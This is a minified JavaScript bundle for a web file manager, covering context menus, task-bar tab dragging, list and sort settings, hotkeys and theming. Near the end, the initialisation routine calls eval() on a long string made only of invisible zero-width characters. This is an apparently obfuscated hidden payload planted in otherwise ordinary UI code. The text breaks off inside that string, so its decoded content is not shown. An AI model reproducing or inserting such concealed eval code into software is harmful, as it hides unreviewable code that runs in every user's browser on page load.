.edit,className:"edit",icon:"edit",accesskey:"e"},open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},b=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},y=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep101:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},k=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"show_file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e=$(".context-menu-list").filter(":visible"),t=$(".context-menu-active");if(0!=e.length&&0!=t.length){if(t.hasClass("dialog_menu")){var i=t.attr("id"),a=$.dialog.list[i];a.has_frame()?(e.find(".open_window").show(),e.find(".refresh").show()):(e.find(".open_window").hide(),e.find(".refresh").hide())}if(t.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==n?e.find(".unzip").show():e.find(".unzip").hide(),"html"==n||"htm"==n||"oexe"==n?e.find(".open_text").show():e.find(".open_text").hide()}if(t.hasClass("menuMore")){var o=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(o+=1)}),0==o?e.find(".playmedia").hide():e.find(".playmedia").show()}}},isDisplay:function(){var e=!1;return $(".context-menu-list").each(function(){"none"!=$(this).css("display")&&(e=!0)}),e},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover") -})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("
        "),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='
        '+i+"
        ";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep100:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
        ';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var t=$(".frame-right-main .tools").outerHeight();"list"==e&&(t+=26),$(".frame-header").is(":visible")&&(t+=$(".frame-header").outerHeight()),$(".bodymain").css("top",t)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,t){0!=e&&(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")),0!=t&&(G.user_config.list_sort_order=t,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+t).addClass("selected")),LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",t),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+t})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var t=LNG.config_save_error_file;core.authCheck("setting:set")||(t=LNG.config_save_error_auth),Tips.tips(t,!1)}}})})},bindEventMenu=function(){$(".drop-menu-action li").bind("click",function(){if(!$(this).hasClass("disabled")){var e=$(this).attr("id");switch(e){case"open":ui.path.open();break;case"copy":ui.path.copy();break;case"rname":ui.path.rname();break;case"cute":ui.path.cute();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"past":ui.path.past();break;case"remove":ui.path.remove();break;case"zip":ui.path.zip();break;case"share":ui.path.share();break;case"createLink":ui.path.createLink();break;case"add_to_fav":ui.path.fav();break;case"download":ui.path.download();break;case"info":ui.path.info();break;default:}}}),$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),t=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/t)},getPagefileNumber=function(){var e=getRowfileNumber(),t=$(Config.BodyContent).outerHeight(),i=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(t/i)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,t=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/t)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,t=0,i="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==t?(t=timeFloat(),i=o,e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a),void 0):o==i.substr(-1)?(ui.path.setSelectByChar(i),t=0,void 0):(a>timeFloat()-t&&(t=timeFloat(),i+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["backspace","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","ctrl+s","command+s"],function(e,t){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;switch(stopPP(e),t){case"backspace":ui.path.history.back();break;case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(t);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"del":ui.path.remove();break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var t=$("#PV_Items li.current img").attr("src"),i="image&path=",a=t.substr(t.search(i)+i.length),n=$('[src="'+t+'"],[data-original="'+t+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var i=function(e){var t="&picture=",i=e.search(t);return-1===i?e+t+UUID():e.substr(0,i)+t+UUID()},a=i(t),o=i($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,t=20,i=parseInt($(".file").css("height")),a=.8*i,n=20,o=10,s=$(document).height()-50,r=Math.floor((s-e)/(i+n)),l=0,c=0,d=0,p=0;$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=t+(a+o)*c,p=e+(i+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,t){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof t&&t()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍